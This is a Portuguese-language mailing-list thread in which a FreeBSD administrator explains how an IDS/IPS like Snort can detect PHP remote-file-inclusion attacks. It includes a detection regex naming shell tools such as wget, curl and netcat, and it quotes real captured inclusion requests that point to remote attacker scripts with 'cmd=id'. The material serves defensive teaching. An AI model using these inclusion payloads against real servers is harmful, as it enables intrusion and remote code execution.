[FUG-BR] OT-Ataque PHP injection

Patrick Tracanelli eksffa em freebsdbrasil.com.br
Sexta Fevereiro 22 12:25:49 BRT 2008


William Grzybowski escreveu:
> Oi Patrick,

Buenos =)

> 
> Não sei se entendi muito bem, poderia me dar uma luz?
> Php injection, como próprio nome ja diz é a inserção de codigo php
> causado por código mal escrito que permito o injeção de código php
> externo no servidor, correto?

Opa, confere hehehe

> 
> Como que funcionam essas regras que você falou? Essas empresas liberam
> regras que atuam (obviamente) na ""camada"" do HTTP e analizam o
> trafego para os softwares vulneraveis que eles tem conhecimento e
> inclusao direta de scripts em servidores externos?

Cara, um IDS atua na camada 7, portanto de aplicação, seja qual 
aplicação for. Pense então numa regra ridiculamente simples, que alerte:

- qualquer fluxo de qualquer origem pra qualquer destino em portas HTTP 
conhecidas (80, 8080, 3128, etc)
- que cumpra os requisitos acima e contenha no payload um "GET " 
(protocolo HTTP) com qualquer uma das expressoes:
	- <qqcoisa>.php?<qqcoisa>=(http|ftp)
	- <qqcoisa>.php?<qqcoisa>&<qqcoisa>=(http|ftp)

So a regra simplista acima daria match em coisas como

	seila.php?ver=http://sei.na.net/seila2.php.txt
	seila.php?ver=produtos&categoria=ftp://u:s@server/seila.txt

Ou seja ja eh indicio pleno de injection.

Adicione na verificacao se houver na URL (a partedo payload apos o GET 
na porta http) qualquer coisa entre:

(\\?((LOCAL|INCLUDE|PEAR|SQUIZLIB)_PATH|action|content|dir|name|menu|pm_path|path|pathtoroot|cat|pagina|path|include_location|root|page|gorumDir|site|topside|pun_root|open|seite)=(http|https|ftp)\\:/|(cmd|command)=(cd|\\;|perl 
|python |rpm |yum |apt-get |emerge |lynx |links |mkdir |elinks 
|id|cmd|pwd|wget |uname|cvs |svn |(s|r)(cp|sh) |net(stat|cat) |rexec 
|smbclient |t?ftp |ncftp |curl |telnet |gcc |cc |g\\+\\+ 
|\\./|whoami|killall |rm \\-[a-z|A-Z]))

Ai ja nem eh mais indicio, é descaramento.

Por exemplo, meu IPS acaba de pegar, nesse segundo, a seguinte tentativa:

"GET 
http://www.freebsdbrasil.com.br/home.php?area=http://www.bestlearning.co.kr/bbs/tool25.txt?&cmd=id"

E 10 segundos antes:

Req: http://free.bsd.com.br
"GET 
//admin_users.php?phpbb_root_path=http://www.artsconnect.com.au/art/can? 
HTTP/1.1" 405 345 "(null)" "-" libwww-perl/5.805 "J5d9 em skwlwMAAUGeM-wAAAAF"

Qual é mais discarado? hhehehe se voce entrar em

http://www.bestlearning.co.kr/bbs/tool25.txt?&cmd=id
	
Ta la o codigo que, supostamente, deveria ser injetado no php da vitima 
(eu).

A questão é, esses logs são de fluxo inbound, o que chega no meu IPS e 
vai pra dentro, mas se o fluxo fosse outbound eu pegaria exatamente a 
mesma coisa, pq o que passa no PAYLOAD é a mesma coisa, e é o que o 
IDS/IPS analisa. Então se alguem aqui, ou um servidor de cliente no Data 
Center for "comprometido" (ou o proprio cliente resolver brincar) e 
tentar realizar os "probing" partindo daqui de dentro os alertas gerados 
serao equivalentes.

Espero ter ajudado :)


> 
> Vlw
> 
> 2008/2/21 Patrick Tracanelli <eksffa em freebsdbrasil.com.br>:
>> Cristina Fernandes Silva escreveu:
>>
>>> É cobrada essas regras ? Vc tem alguma faixa de preço  ? é apllicance
>>  > ? ou somente as regras que posso usar no snort.
>>
>>  Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios
>>  precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte,
>>  não importa se é uma multinacional, pagara como pequeno. No site da
>>  SourceFire tem todos os detalhes sobre preços.
>>
>>  São só as regras a principio, mas pode comprar o sistema deles. Não
>>  conheço quem use no país o sistema deles. Mas não parece ser mais do que
>>  o Snort com um front-end muito amigável.
>>
>>  No caso da Juniper tem direito automaticamente a versão convertida pra
>>  Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS
>>  (que é um add-on no firewall Juniper).
>>
>>  No Brasil quem representa a venda das assinaturas Source Fire é a
>>  BRConnection.
>>
>>
>>
>>  >
>>  >
>>  >
>>  > Em 21/02/08, Patrick Tracanelli<eksffa em freebsdbrasil.com.br> escreveu:
>>  >> Cristina Fernandes Silva escreveu:
>>  >>
>>  >>> Acho que não fui clara, Vou explicar,
>>  >>  >
>>  >>  > Quero evitar que alguem da minha rede use o meu ip  (endereço ) para
>>  >>  > fazer ataques
>>  >>  > de php injection para outro endereço externo. Até mesmo os meus
>>  >>  > usuarios interno fazer algum ataque para servidores externos..
>>  >>
>>  >>
>>  >> Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de
>>  >>  satisfação vai depender da qualidade das regras de análise de instrusão
>>  >>  que você utilizar. Isso quer dizer que dependendo do nível de seriedade
>>  >>  da empresa será proveitoso assinar um serviço (comercial) que oferece
>>  >>  regras testadas e atualizadas. Apesar da escolha natural ser Source
>>  >>  Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela
>>  >>  Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro
>>  >>  Snort.
>>  >>
>>  >> -------------------------
>>  >>  Histórico: http://www.fug.com.br/historico/html/freebsd/
>>  >>  Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>  >>
>>  > -------------------------
>>  > Histórico: http://www.fug.com.br/historico/html/freebsd/
>>  > Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
>>  -------------------------
>>  Histórico: http://www.fug.com.br/historico/html/freebsd/
>>  Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
>>
> 
> 
> 


-- 
Patrick Tracanelli

FreeBSD Brasil LTDA.
Tel.: (31) 3516-0800
316601 em sip.freebsdbrasil.com.br
http://www.freebsdbrasil.com.br
"Long live Hanin Elias, Kim Deal!"



Mais detalhes sobre a lista de discussão freebsd